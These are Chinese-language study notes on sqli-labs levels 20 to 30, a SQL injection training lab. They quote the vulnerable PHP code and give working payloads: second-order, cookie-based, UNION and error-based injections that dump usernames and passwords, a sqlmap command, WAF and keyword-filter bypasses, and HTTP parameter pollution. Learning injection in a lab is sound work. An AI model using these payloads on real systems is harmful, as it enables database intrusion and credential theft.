less20-31

less-24 二次注入

username 被 mysql_escape_string 函数过滤了,该函数的作用如下: # 登录用户名和密码都被过滤了 $username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

危险字符 转义后
\ \
‘ '
“ "

参考链接:https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-49

怎么说,书上还是教程上b了这么多,没看懂多少。实践后。。。
就有感觉了

直接就看源码,不跟你多bb

创建用户的地方:
Sql
username = mysql_escape_string($_POST[‘username’]) ;

更新密码的核心语句:
Sql
UPDATE users SET PASSWORD=’$pass’ where username=’$username’ and password=’$curr_pass’

只要在注册的时候 用admin ‘#注册 再去看数据库user里的会发现 有admin ’# 这个东西

然后,就看我们修改时的那个原码了
直接用admin ‘#登录,然后改密码 直接逮住 完事

less-20

在源码中 $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); 所以,想在输入框中找注入点,没得了

$cookee = $_COOKIE[‘uname’];

#源码中直接将 cookee 通过单引号拼接到 SQL 语句中
$sql=”SELECT * FROM users WHERE username=’$cookee’ LIMIT 0,1”;
从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,
并且还输出了查询信息,所以这里也是可以进行联合查询注入的。
uname=admin’ and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR(分隔符)+0x3c62723e(表示
))+FROM+users)#

报错注入
uname=admin’+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)#

uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(1,’/xx/xx’,’anything’))
报错方式相同:
select username from security.user where id=1 and (updatexml(1,concat(‘~’,(select database())),’anything’))

0x7e 是“~”

爆出
Issue with your mysql: XPATH syntax error: ‘c:\wamp\bin\mysql\mysql5.6.17\
爆数据库名
uname=admin1’and extractvalue(1,concat(0x7e,(select database()),0x7e))#
爆表名
uname=admin’ and 1=2 union select 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables where table_schema=’security’)#

less-21(cookie)

与less-20的区别在于采用了base64编码 $cookee = base64_decode($cookee); payload=uname=sqlsec') union select 1,2,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#

编码:uname=c3Fsc2VjJykgdW5pb24gc2VsZWN0IDEsMiwoU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VybmFtZSxwYXNzd29yZCBTRVBBUkFUT1IgMHgzYzYyNzIzZSkgRlJPTSB1c2Vycykj

–technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

less-22(cookie)

哭 难道之后的都要去看一波源代码了吗

与less-21不同的是less-22没有用单引号连接,拼接方式不一样,其他都是一致的
$sql=”SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1”;

uname=sqlsec” union select 1,2,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#

sqlmap(自动注入)
python sqlmap.py -u “http://192.168.248.133/sql/Less-22/" –cookie=”uname=*” –tamper=”base64encode” –technique=U -v 3

less-23(报错、联合、延时)

这个和之前一样 用?id=1\ 探错 查看报错信息

查看源码

过滤了 id 中的 # 和 – 然后 替换为 空

$reg = “/#/“;
$reg1 = “/–/“;
$replace = “”;
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

关键的sql执行语句:
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
$result=mysql_query($sql);

故得换个思路搞
就闭合前面的后面的单引号

$sql=”SELECT * FROM users WHERE id=’-1’ or ‘1’=’1’ LIMIT 0,1”;
只能说很强,是我没看源码的话想不出来的

less-25

又是id。老规矩就1\ 单引号闭合点 上万能语句 1' or 1=1 --# 1' and 1=1 --# 知道 被过滤的有 or # and %23没有被过滤掉 ###符号替换 or -> ||

and -> &&

符号替换
?id=1’||extractvalue(1,concat(0x7e,database()))–+

双写嵌入绕过
?id=-1’ union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)–+
+应该是想稳点,事实不用+也行

less-26

又是id。老规矩就1\ 直接就被过滤掉 用 1‘发现是双引号闭合 知道 被过滤的有 or # and \ / --+ --# 还有空格

解决方法
过滤了 or 和 and 可以采用 双写或者 && || 绕过

符号替换
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

注释的话换不了 用单引号闭合后面的

-1’ or ‘1’=’1
?id=-1’%0baandnd%0b’1’=’2

less-27

单引号字符型注入 ?id=-1'%0band%0b'1'='1

通过源码看出,过滤了几个大小写的union和select但是可以用 随机大小 写绕过,过滤了–、#以及/**/,过滤了两次空格,过滤了/但没过滤\。
所以实际上只过滤了注释与空格,与 Less 26 相似。

报表
?id=0’%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=’security’),3||’1

less-28

?id=100')%0bunion%a0select%0b1,(SELECT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers),3%a0and%0b('1

less-29

(_GET_双服务器_单引号_字符型注入)

有点难搞 源码 //WAF implimentation with a whitelist approach..... only allows input to be Numeric. (//使用白名单方法实现的WAF实现.....仅允许输入为数字。) function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } } 所以,如果是输入的id不是数字的话就会被转到其它的页面

源码
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).

//当受到HPP(HTTP参数污染)的影响时,以下功能可模仿参数的行为。
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode(“&”,$q_s);//这里按照这个规则来即用“&”来衔接

foreach($qs_array as $key => $value)
{
    $val=substr($value,0,2);
    if($val=="id")
    {
        $id_value=substr($value,3,30); 
        return $id_value;
        echo "<br>";
        break;
    }

}

}
phh注入点
?id=1&id=-1’ union select 1,database(),3–+

index.php?id=1&id=2

工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,
然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
index.php?id=1&id=2,这时回显是id=1还是id=2呢?

apache (php) 解析最后一个参数,即回显id=2;
tomcat (jsp) 解析第一个参数,即回显id=1。

Apache PHP 会解析最后一个参数
Tomcat JSP 会解析第一个参数

参考链接:https://www.jianshu.com/p/46cb6c354de5
1、在之前使用方法用过不没有用的情况下
2、使用?id=1&id=1’ 判断是否是双服务器

less-30

与less-29差别就是拼接方式,less 使用“拼接

与less-29区别就是”)拼接